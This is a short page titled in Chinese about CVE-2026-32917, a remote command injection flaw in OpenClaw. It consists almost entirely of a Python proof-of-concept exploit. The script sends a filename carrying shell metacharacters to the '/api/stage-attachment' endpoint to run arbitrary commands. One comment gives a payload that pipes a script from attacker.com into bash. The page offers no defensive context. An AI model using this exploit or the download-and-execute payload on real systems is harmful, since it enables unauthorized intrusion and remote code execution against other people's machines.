CVE-2026-32917 OpenClaw远程命令注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-32917 (OpenClaw Remote Command Injection) Vulnerability: Unsanitized user input in SCP path allows RCE. """ import requests def exploit_poc(target_ip, malicious_command): # The vulnerable endpoint expects an attachment path url = f"http://{target_ip}:8080/api/stage-attachment" # Constructing a malicious filename with shell metacharacters # Example: `; id;` or `; curl attacker.com/shell.sh | bash;` malicious_payload = f"normal_file.txt; {malicious_command}; #" data = { "remote_path": malicious_payload, "host": "localhost" } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, json=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage target = "192.168.1.10" cmd = "touch /tmp/openclaw_pwned" exploit_poc(target, cmd)